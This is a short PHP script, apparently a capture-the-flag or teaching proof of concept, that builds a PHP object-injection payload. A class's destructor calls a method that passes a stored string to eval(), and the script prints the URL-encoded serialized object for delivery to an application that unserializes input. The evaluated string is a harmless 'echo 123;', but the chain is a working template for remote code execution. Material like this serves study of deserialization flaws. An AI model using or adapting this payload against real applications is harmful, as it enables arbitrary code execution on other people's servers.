class one{
    var $b = 'echo 123;';
    function  action(){
        eval($this->b);
    }
}
class Student{
    var $a;

    public function __construct()
    {
        $this->a = new one();
    }

    public function __destruct()
    {
        $this->a->action();
    }
}
$obj = new Student();
echo urlencode(serialize($obj));